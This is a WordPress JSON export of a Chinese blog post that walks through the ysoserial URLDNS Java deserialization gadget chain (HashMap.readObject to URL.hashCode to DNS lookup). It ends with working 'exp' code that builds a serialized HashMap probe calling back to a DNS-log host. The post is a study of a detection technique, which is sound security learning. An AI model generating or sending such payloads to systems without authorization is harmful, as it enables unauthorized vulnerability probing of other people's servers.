{"id":113,"date":"2026-01-31T21:02:51","date_gmt":"2026-01-31T13:02:51","guid":{"rendered":"https:\/\/1nksy.cn\/?p=113"},"modified":"2026-01-31T21:05:07","modified_gmt":"2026-01-31T13:05:07","slug":"urldns%e9%93%be","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2026\/01\/31\/urldns%e9%93%be\/","title":{"rendered":"URLDNS\u5229\u7528\u94fe\u5206\u6790"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">URLDNS\u5229\u7528\u94fe\u662fysoserial\u4e2d\u975e\u5e38\u7ecf\u5178\u7684\u4e00\u6761\u94fe\u5b50\uff0c\u4ed6\u901a\u5e38\u7528\u6765\u68c0\u6d4b\u662f\u5426\u5b58\u5728java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u7531\u4e8e\u8be5\u94fe\u4ec5\u4f9d\u8d56 Java \u5185\u7f6e\u7c7b\u3001\u65e0\u9700\u7b2c\u4e09\u65b9\u5e93\uff0c\u4e14\u9002\u7528\u8303\u56f4\u5e7f\uff0c\u56e0\u6b64\u5e38\u88ab\u7528\u4e8e\u65e0\u56de\u663e\u73af\u5883\u4e0b\u7684\u6f0f\u6d1e\u63a2\u6d4b\uff0c\u5176\u5177\u6709\u4ee5\u4e0b\u7684\u7279\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4e0d\u9650\u5236jdk\u7248\u672c\uff0c\u4f7f\u7528Java\u5185\u7f6e\u7c7b\uff0c\u5bf9\u7b2c\u4e09\u65b9\u4f9d\u8d56\u6ca1\u6709\u8981\u6c42<\/li>\n\n\n\n<li>\u76ee\u6807\u65e0\u56de\u663e\uff0c\u53ef\u4ee5\u901a\u8fc7DNS\u8bf7\u6c42\u6765\u9a8c\u8bc1\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/li>\n\n\n\n<li>URLDNS\u5229\u7528\u94fe\uff0c\u53ea\u80fd\u53d1\u8d77DNS\u8bf7\u6c42\uff0c\u5e76\u4e0d\u80fd\u8fdb\u884c\u5176\u4ed6\u5229\u7528<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">\u5b98\u65b9\u7684\u5229\u7528\u94fe<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">ysoserial \u5b98\u65b9\u7ed9\u51fa\u7684 URLDNS Gadget Chain \u5982\u4e0b\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Gadget Chain:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HashMap.readObject()<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HashMap.putVal()<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">HashMap.hash()<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">URL.hashCode()<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">\u8c03\u8bd5\u5206\u6790<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5148\u770b\u4e00\u4e2a\u7b80\u5355\u7684demo\uff0c\u7528\u4e8e\u9a8c\u8bc1URL.hashCode\u4f1a\u89e6\u53d1DNS\u89e3\u6790<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">package ysoserial;<br>\u200b<br>import java.net.MalformedURLException;<br>import java.net.URL;<br>import java.util.HashMap;<br>\u200b<br>public class URLDNS{<br> &nbsp; &nbsp;public static void main(String[] args) throws MalformedURLException {<br> &nbsp; &nbsp; &nbsp; &nbsp;HashMap&lt;URL,Integer&gt; a = new HashMap&lt;URL,Integer&gt;();<br> &nbsp; &nbsp; &nbsp; &nbsp;a.put(new URL(\"https:\/\/745067d69a.ddns.1433.eu.org.\"), 1);<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd0\u884c\u540e\u53ef\u4ee5\u770b\u5230\u5728DNS\u5e73\u53f0\u63a5\u53d7\u5230\u8bf7\u6c42<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164120796.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164120796.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131164120796\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5148\u8ddf\u8fdb\u5230HashMap\u7c7b\u4e2d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164224275.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164224275.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131164224275\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u7c7b\u5b9e\u73b0\u4e86Serializable\u63a5\u53e3\uff0c\u5e76\u91cd\u5199\u4e86readObject\u65b9\u6cd5<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164434490.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164434490.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131164434490\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164442956.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131164442956.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131164442956\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728readObject\u65b9\u6cd5\u4e2d\uff0c\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u4f1a\u91cd\u65b0\u5c06\u952e\u503c\u5bf9\u63d2\u5165\u5230HashMap\u4e2d\uff0c\u6838\u5fc3\u4ee3\u7801<code>putVal(hash(key), key, value, false, false);<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728HashMap\u4e2d\u63d2\u5165\u4e00\u4e2a\u952e\u503c\u5bf9\uff0c\u5728\u63d2\u5165\u4e4b\u524d\u8ba1\u7b97key\u7684\u54c8\u5e0c\u503c\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0cHashMap\u4f1a\u91cd\u65b0\u8ba1\u7b97key\u7684hash\u503c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u8fd4\u56de\u8ddf\u8fdbdemo\u4e2d\u7684put<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165233450.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165233450.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131165233450\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u770b\u5230\u8fd4\u56de\u7684\u4e5f\u662fputVal\u65b9\u6cd5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7ee7\u7eed\u8ddf\u8fdb\u8c03\u7528\u7684hash\u65b9\u6cd5<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165408886.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165408886.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131165408886\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5c31\u662f\u5224\u65adkey\u662f\u5426\u4e3anull\uff0c\u4e3aNull\u7684\u8bdd\u5c31\u8fd4\u56de0\uff0c\u5426\u5219\u5c06\u5bf9key\u8fdb\u884c\u4f7f\u7528hashCode()\u65b9\u6cd5\u540e\u8d4b\u503c\u7ed9h\u5e76\u5c06\u8fd9\u4e2ah\u8fdb\u884c\u4f4d\u79fb16\u4f4d\u7684\u5f02\u6216\u64cd\u4f5c<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u770b\u8fd9\u4e2ahashCode\u65b9\u6cd5\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5728URL\u7c7b\u4e2d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165704153.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165704153.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131165704153\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u4f1a\u5bf9hashCode\u7684\u503c\u8fdb\u884c\u5224\u65ad\uff0c\u770b\u662f\u5426\u4e3a-1\uff0c\u5982\u679c\u4e3a-1\u4f1a\u8c03\u7528URLStreamHadnler\u7684hashCode\u65b9\u6cd5\uff0c\u800chashCode\u5728URL\u7c7b\u662f\u9ed8\u8ba4\u4e3a-1\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165943987.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131165943987.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131165943987\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8ddf\u8fdbURLStreamHadnler\u7c7b\u7684hashCode\u65b9\u6cd5<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131170753028.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/1nksy.oss-cn-chengdu.aliyuncs.com\/image-20260131170753028.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260131170753028\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">u\u5c31\u662f\u6211\u4eec\u4f20\u5165\u7684url\uff0c\u8fd9\u91cc\u4f1a\u8c03\u7528getHostAddress()\u65b9\u6cd5\uff0c\u8fdb\u884cDNS\u67e5\u8be2<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">getHostAddress()<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp; &nbsp;synchronized InetAddress getHostAddress() {<br> &nbsp; &nbsp; &nbsp; &nbsp;if (hostAddress != null) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return hostAddress;<br> &nbsp; &nbsp; &nbsp;  }<br>\u200b<br> &nbsp; &nbsp; &nbsp; &nbsp;if (host == null || host.isEmpty()) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return null;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp;try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hostAddress = InetAddress.getByName(host);<br> &nbsp; &nbsp; &nbsp;  } catch (UnknownHostException | SecurityException ex) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return null;<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp;return hostAddress;<br> &nbsp;  }<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u91cc\u7684<code>InetAddress.getByName(host)<\/code>\u5c31\u662f\u6839\u636e\u4e3b\u673a\u540d\uff0c\u83b7\u53d6\u5176IP\u5730\u5740<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">exp<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">package ysoserial.Test;<br>\u200b<br>import java.net.MalformedURLException;<br>import java.lang.reflect.Field;<br>import java.net.URL;<br>import java.util.HashMap;<br>import java.io.*;<br>import org.junit.Test;<br>\u200b<br>public class URLDNS{<br> &nbsp; &nbsp;public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {<br> &nbsp; &nbsp; &nbsp; &nbsp;HashMap&lt;URL,String&gt; map = new HashMap&lt;&gt;();<br> &nbsp; &nbsp; &nbsp; &nbsp;URL url = new URL(\"http:\/\/f1bfc12a25.ddns.1433.eu.org.\");<br> &nbsp; &nbsp; &nbsp; &nbsp;Class cla = url.getClass();<br> &nbsp; &nbsp; &nbsp; &nbsp;Field fields = cla.getDeclaredField(\"hashCode\");<br> &nbsp; &nbsp; &nbsp; &nbsp;fields.setAccessible(true);<br> &nbsp; &nbsp; &nbsp; &nbsp;fields.set(url,1);\/\/\u907f\u514d\u63d0\u524d\u89e6\u53d1DNS\u89e3\u6790<br> &nbsp; &nbsp; &nbsp; &nbsp;map.put(url,\"abc\");<br> &nbsp; &nbsp; &nbsp; &nbsp;fields.set(url,-1);<br> &nbsp; &nbsp; &nbsp; &nbsp;serialization(map);<br>\u200b<br> &nbsp;  }<br>\u200b<br> &nbsp; &nbsp;public static void serialization(Object obj) throws IOException, NoSuchFieldException, IllegalAccessException {<br> &nbsp; &nbsp; &nbsp; &nbsp;ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream(\"urldns.ser\"));<br> &nbsp; &nbsp; &nbsp; &nbsp;o.writeObject(obj);<br> &nbsp;  }<br> &nbsp; &nbsp;@Test<br> &nbsp; &nbsp;public void unserialization() throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {<br> &nbsp; &nbsp; &nbsp; &nbsp;ObjectInputStream oo = new ObjectInputStream(new FileInputStream(\"urldns.ser\"));<br> &nbsp; &nbsp; &nbsp; &nbsp;oo.readObject();<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u603b\u7ed3<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728HashMap\u7c7b\u4e2d\u91cd\u5199\u4e86readObject\u65b9\u6cd5\uff0c\u800creadObject\u65b9\u6cd5\u4e2d\u7684putVal\u65b9\u6cd5\u4f1a\u8c03\u7528hash\u65b9\u6cd5\uff0chash\u65b9\u6cd5\u4e0b\u4f1a\u8c03\u7528URL\u7c7b\u7684hashCode\u65b9\u6cd5\uff0c\u5f53hashCode\u5c5e\u6027\u7b49\u4e8e-1\uff0c\u4f1a\u8c03\u7528URLStreamHadnler\u7c7b\u7684hashCode\u65b9\u6cd5\uff0c\u4e4b\u540e\u5c31\u4f1a\u8c03\u7528getHostAddress\u65b9\u6cd5\uff0c\u6700\u540e\u8c03\u7528InetAddress.getByName\u65b9\u6cd5\u89e6\u53d1DNS\u8bf7\u6c42\uff0c\u901a\u8fc7URLDNS\u94fe\u5b50\u53ef\u4ee5\u7528\u6765\u5feb\u901f\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u5229\u7528\u94fe\u5728\u5927\u591a\u6570 JDK \u7248\u672c\u4e2d\u5747\u53ef\u4f7f\u7528\uff0c\u4f46\u5728\u90e8\u5206\u9ad8\u7248\u672c JDK \u6216\u5b89\u5168\u7b56\u7565\u53d7\u9650\u73af\u5883\u4e0b\uff0cDNS \u8bf7\u6c42\u53ef\u80fd\u88ab\u62e6\u622a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u53c2\u8003\u6587\u7ae0\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/fupanc-w1n.github.io\/p\/urldns\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/www.qwesec.com\/2025\/11\/java-unserialize-urldns-chain.html\n<\/div><\/figure>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/xz.aliyun.com\/news\/8916\n<\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>URLDNS\u5229\u7528\u94fe\u662fysoserial\u4e2d\u975e\u5e38\u7ecf\u5178\u7684\u4e00\u6761\u94fe\u5b50\uff0c\u4ed6\u901a\u5e38\u7528\u6765\u68c0\u6d4b\u662f\u5426\u5b58\u5728java\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u7531\u4e8e\u8be5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-113","post","type-post","status-publish","format-standard","hentry","category-java"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=113"}],"version-history":[{"count":2,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/113\/revisions"}],"predecessor-version":[{"id":116,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/113\/revisions\/116"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}